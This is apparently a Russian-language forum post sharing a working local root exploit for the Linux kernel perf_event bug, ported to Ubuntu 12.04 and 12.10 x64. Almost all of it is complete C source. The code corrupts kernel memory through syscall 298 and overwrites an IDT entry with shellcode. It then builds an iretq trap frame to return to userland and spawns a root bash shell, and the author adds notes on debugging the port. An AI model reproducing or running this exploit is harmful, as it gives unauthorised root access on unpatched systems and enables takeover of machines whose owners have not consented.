Допилил и для 12.04.
Задействуется int 0x11: исключение при работе с невыравненными инструкциями - см. код int17().
Для возврата в юзерленд нужно построить trap_frame вот такого вида (взял из эксплойта qaaz-a
jessica_biel_naked_in_my_bed.c):
Цитата:
#define USER_CS 0x23
#define USER_SS 0x2b
#define USER_FL 0x246
static_inline
void exit_kernel()
{
__asm__ __volatile__ (
"movq %0, 0x20(%%rsp) ;"
"movq %1, 0x18(%%rsp) ;"
"movq %2, 0x10(%%rsp) ;"
"movq %3, 0x08(%%rsp) ;"
"movq %4, 0x00(%%rsp) ;"
"iretq"
: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
"i" (USER_CS), "r" (exit_code)
);
}
|
Потратил время, надо было сразу посмотреть в gdb - USER_CS пришлось сделать 0x33, и думал в качестве стэка можно указать любой RW адрес с userland, но нет, нужен именно стэк [в мануалах интела наверно есть почему...].
Код:
/* Ubuntu 12.XX x64 version, tested on 12.04.x / 12.10, rdot.org */
/*
* linux 2.6.37-3.x.x x86_64, ~100 LOC
* gcc-4.6 -O2 semtex.c && ./a.out
* 2010 sd@fucksheep.org, salut!
*
* update may 2013:
* seems like centos 2.6.32 backported the perf bug, lol.
* jewgold to 115T6jzGrVMgQ2Nt1Wnua7Ch1EuL9WXT2g if you insist.
*/
#define _GNU_SOURCE 1
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <syscall.h>
#include <stdint.h>
#include <assert.h>
#define BASE 0x1780000000 // change 1
#define SIZE 0x010000000
#define KSIZE 0x2000000
#define AB(x) ((uint64_t)((0xababababLL<<32)^((uint64_t)((x)*313337))))
int int17() __attribute__((optimize("-O0"))); // change x1
char stack[1024 * 1024];
void fuck() {
int i,j,k;
uint64_t uids[4] = { AB(2), AB(3), AB(4), AB(5) };
uint8_t *current = *(uint8_t **)(((uint64_t)uids) & (-8192));
uint64_t kbase = ((uint64_t)current)>>36;
uint32_t *fixptr = (void*) AB(1);
*fixptr = -1;
for (i=0; i<4000; i+=4) {
uint64_t *p = (void *)¤t[i];
uint32_t *t = (void*) p[0];
if ((p[0] != p[1]) || ((p[0]>>36) != kbase)) continue;
for (j=0; j<20; j++) { for (k = 0; k < 8; k++)
if (((uint32_t*)uids)[k] != t[j+k]) goto next;
for (i = 0; i < 8; i++) t[j+i] = 0;
for (i = 0; i < 10; i++) t[j+9+i] = -1;
return;
next:; }
}
}
void sheep(uint32_t off) {
uint64_t buf[10] = { 0x4800000001,off,0,0,0,0x300 };
int fd = syscall(298, buf, 0, -1, -1, 0);
assert(!close(fd));
}
void launch_shell(void) { //change x2
printf("we're in launch_shell(), uid=%d\n",getuid() );
//setuid(0);
execl("/bin/bash", "-sh", NULL);
}
int main() {
uint64_t u,g,needle, kbase, *p; uint8_t *code;
uint32_t *map, j = 5;
int i;
struct {
uint16_t limit;
uint64_t addr;
} __attribute__((packed)) idt;
assert((map = mmap((void*)BASE, SIZE, 3, 0x32, 0,0)) == (void*)BASE);
memset(map, 0x41, SIZE); //change 2
sheep(-1); sheep(-2);
for (i = 0; i < SIZE/4; i++) if (map[i] != 0x41414141) { // change 3
assert(map[i+6] != 0x41414141); // change 4
break;
}
assert(i<SIZE/4);
asm ("sidt %0" : "=m" (idt));
kbase = idt.addr & 0xff000000;
u = getuid(); g = getgid();
assert((code = (void*)mmap((void*)kbase, KSIZE, 7, 0x32, 0, 0)) == (void*)kbase);
memset(code, 0x90, KSIZE); code += KSIZE-1024; memcpy(code, &fuck, 1024);
memcpy(code-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf",
printf("2.6.37-3.x x86_64\nsd@fucksheep.org 2010\n") % 27);
setresuid(u,u,u); setresgid(g,g,g);
while (j--) {
needle = AB(j+1);
assert(p = memmem(code, 1024, &needle, 8));
if (!p) continue;
*p = j?((g<<32)|u):(idt.addr + 0x48);
}
/* change 5 */
//sheep(-i + (((idt.addr&0xffffffff)-0x80000000)/4) + 16);
uint32_t perf_table, idt2;
perf_table=i*4+24-24*0xffffffffffffffff;
printf("perf[] address: 0xffffffff8%x, idt=0x%lx\n", perf_table, idt.addr);
idt2 = (idt.addr&0xffffffff) - 0x80000000 + 0x48;
if( (perf_table - idt2) % 24 == 0 ) { //kernel 3.5
i = (perf_table - idt2) / 24;
printf("diff=%x, i=%d\n", perf_table - idt2, i);
sheep(-i);
}
else if( (perf_table - idt2) % 24 != 0 ) { //kernel 3.2
idt2 = (idt.addr&0xffffffff) - 0x80000000 + 0x118;
assert( (perf_table - idt2) % 24 == 0 );
i = (perf_table - idt2) / 24;
printf("diff=%x, i=%d\n", perf_table - idt2, i);
*p = idt.addr + 0x118; //to fix int 0x11 IDT entry in payload, not 0x4
memcpy(code-49-13, // 49 bytes and -13, here building trap_frame to return into launch_shell()
"\x48\x83\xec\x30"
"\x48\xc7\x44\x24\x20\x2b\x00\x00\x00"
"\x48\xc7\x44\x24\x18\x31\x33\x33\x37"
"\x48\xc7\x44\x24\x10\x46\x02\x00\x00"
"\x48\xc7\x44\x24\x08\x33\x00\x00\x00" // user_cs=0x33 on my comp, not 23
"\x48\xc7\x44\x24\x00\x31\x33\x33\x37"
//"\x0f\x01\f8"
/*iretq: "\x48\xcf"*/, 49);
map = code/*-5*/-4-13;
*map = &launch_shell;
//printf("%x\n", *map);
map = code/*-5*/-27-4-13;
*map = stack + sizeof(stack)-100;
//printf("%x\n", *map);
sheep(-i);
int17();
exit(0); // should not proceed here
}
asm("int $0x4"); assert(!setuid(0));
return execl("/bin/bash", "-sh", NULL);
}
int int17(){
printf("we're in int17()\n");
int *iptr;
char *cptr;
# if defined(__i386__)
/* Enable Alignment Checking on x86 */
__asm__("pushf\norl $0x40000,(%esp)\npopf");
# elif defined(__x86_64__)
/* Enable Alignment Checking on x86_64 */
__asm__("pushf\norl $0x40000,(%rsp)\npopf");
# endif
/* malloc() always provides aligned memory */
cptr = malloc(sizeof(int) + 1);
/* Increment the pointer by one, making it misaligned */
iptr = (int *) ++cptr;
/* Dereference it as an int pointer, causing an unaligned access */
*iptr = 42;
return 0;
}
У меня работает стабильно, но если запускать несколько раз без перезагрузки, то после 4-5-го выдает doublefault.